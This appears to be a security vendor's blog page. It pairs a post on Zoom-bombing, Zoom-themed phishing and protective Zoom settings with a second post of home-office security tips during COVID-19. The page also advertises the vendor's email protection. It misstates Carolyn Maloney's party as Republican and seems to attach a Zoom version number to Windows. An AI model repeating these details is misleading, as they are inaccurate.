The U.S. House of Representatives was the most recent victim of a “Zoom-bombing” cyberattack. The meeting was interrupted by uninvited attendees on at least three separate occasions—according to an internal letter to Carolyn Maloney (Republican Chairwoman of New York), chair of the Oversight and Reform Committee, which is the main investigative committee of the U.S. House of Representatives.

Also the INCIBE (National Cybersecurity Institute in Spain) reported a vulnerability affecting the Windows operating system that could allow a cybercriminal to steal the victim’s username and hash of the access password via Zoom. In addition, using the same vulnerability, the cybercriminal could run files and programs from the attacked computer. This applied to Windows users with versions earlier than 4.6.9.

Furthermore, it has been observed that phishing emails are being sent to users in the name of Zoom. These emails contain a fake Zoom notification inviting the recipient to an upcoming videoconference with their manager—in the hope that Zoom users will be misled to hurriedly enter their log-in data on a fake Zoom registration landing page. With the stolen credentials, hackers get access to the accounts and as well as the meeting IDs. They sell this information on the dark web or even give it away for free, so it can be used for “Zoom-bombing” attacks.

What can we do to prevent “Zoom-bombing”?

Users can already prevent the problem of “Zoom-bombing” by making the following adjustments in their Zoom settings:

• Make sure the meeting is conducted using encryption*
• Create waiting rooms for attendees
• Require the host to be present before the meeting begins
• Audio signatures
• Enable/Disable a participant or all participants to record
• Temporary pause to share the screen when a new window opens
• Protect the meeting with a password

* Chat Encryption Zoom uses both asymmetric and symmetric algorithms to encrypt the chat session. Session keys are generated with a device-unique hardware ID to avoid data being read from other devices.

Image: Chat encryption setting in Zoom conferences

Chat encryption setting in Zoom conferences

Image: Host setting in Zoom conferences

Host setting in Zoom conferences

In addition to the correct Zoom account settings, it is also crucial to use third-party applications to protect your email account from phishing attacks that attempt to obtain Zoom credentials.

Conclusion:

 

All these measures will help you prevent potential Zoom-bombing cyberattacks. However, special attention must be paid to email communication, as it is the most-attacked vector by cybercriminals—which has been demonstrated once again by the phishing emails for obtaining Zoom credentials.

One solution is Hornetsecurity’s Advanced Threat Protection service, which protects your email account from this kind of phishing cyberattack. It also uses innovative detection mechanisms: the latest technology of freezing, URL scanning, rewriting and sandboxing to keep hackers away from your Zoom credentials and all other sensitive data.

We can’t allow cybercriminals to take advantage of the current Coronavirus COVID19 crisis —whether via Zoom or any other teleconference video service—since it has now become a vital need to communicate with our colleagues, family and friends.

 

Sources
Security gaps in the home office? The challenge of IT security in times of crisis

Security gaps in the home office? The challenge of IT security in times of crisis

The number of coronavirus infections is increasing each day, which has resulted in drastic countermeasures. Shops, restaurants and other public places are staying closed to prevent the spread of the virus. Companies are asking their employees to work from their homes. During this extraordinary and sometimes overwhelming situation, companies and employees should not have to face additional fears about IT security in the home office. Hornetsecurity has some recommendations for this.

The progress of digitalization and the development of new technologies has already brought many changes for the economy worldwide. Cloud computing, big data, robotics and artificial intelligence offer companies advantages such as process optimization, the ability to save resources and rapid data and information exchange. New companies and jobs have been created on the basis of these developments. In addition, many employees can now perform their tasks regardless of location while continuing to communicate with their colleagues and employer. As a result, companies often make it possible for their employees to work from home.

Microsoft Office 365 is regarded as a major driver of collaborative work via the cloud. Important files can be stored and exchanged from anywhere in real time. This makes working from home even easier. In times of crisis such as this, having employees work from home is often the only way for companies to ensure the safety of their workforce while maintaining business operations. Both employers and employees are faced with major challenges by this change. The most frequently asked questions revolve around the topic of IT security:

  • How can the corporate IT infrastructure be protected when employees work from the home?
  • Do companies and employees have to take specific measures?
  • Are protective mechanisms such as spam and virus filters also active in the home office?

Following are some tips regarding security precautions that could be utilized in the home office to ensure the protection of internal company data. We also discuss the special security measures for Office 365, since users of the Microsoft Cloud Service are increasingly targeted by hackers and how cybercriminals are taking advantage of the fear of the spread of COVID-19 and distributing phishing emails and fake websites in order to obtain passwords, user names and email addresses.

According to the security experts at Hornetsecurity, the following precautions should be taken and considered in the home office:

  • Use of a VPN service so that employees can establish a secure connection to the company network (perimeter security)
  • Install the latest updates for operating systems and apps
  • Restrict the access rights of people connecting to the corporate network
  • All corporate devices, including smartphones and laptops, should be protected by appropriate security software. Ideally this will include data erasure functions for devices reported as lost or stolen, separation of personal and professional data, and restrictions on the installation of apps
  • Staff training to inform about dangers that may be associated with unsolicited messages
  • Office 365 users are targeted by cyber criminals, especially in such times of crisis. Security experts therefore recommend not relying solely on Microsoft’s protective mechanisms, but to additionally secure Office 365 accounts with third-party solutions. (Read more)

Hackers use the crisis to launch targeted cyber attacks:

Since the beginning of February, the Hornetsecurity Security Lab has been monitoring various phishing email campaigns aimed at tapping email addresses and passwords or smuggling malware into the systems of the recipients through links and attached documents. The malware can be ransomware or spy software, for example. You can read more about the hackers’ methods here.

To get a visual overview of the worldwide spread of the coronavirus, people are accessing the interactive “coronavirus map” created by John Hopkins University. For the past few days , however, a fake version of the website has been circulating on the internet that will install malware on users’ computers.

The IT security experts at Hornetsecurity assume that the coronavirus scams will continue to increase in the near future. We expect, for example, fake emails from health authorities and similar governmental institutions or phishing emails from alleged charity organizations asking for donations for hospitals and emergency medical facilities.

We are aware that it is extremely important to communicate reliably and securely, especially in times of crisis. We would therefore like to take this opportunity to inform our customers that, despite the current exceptional situation, our services will continue to ensure the comprehensive security of their email communication.

If you have any further questions, our staff will of course be happy to answer them at any time.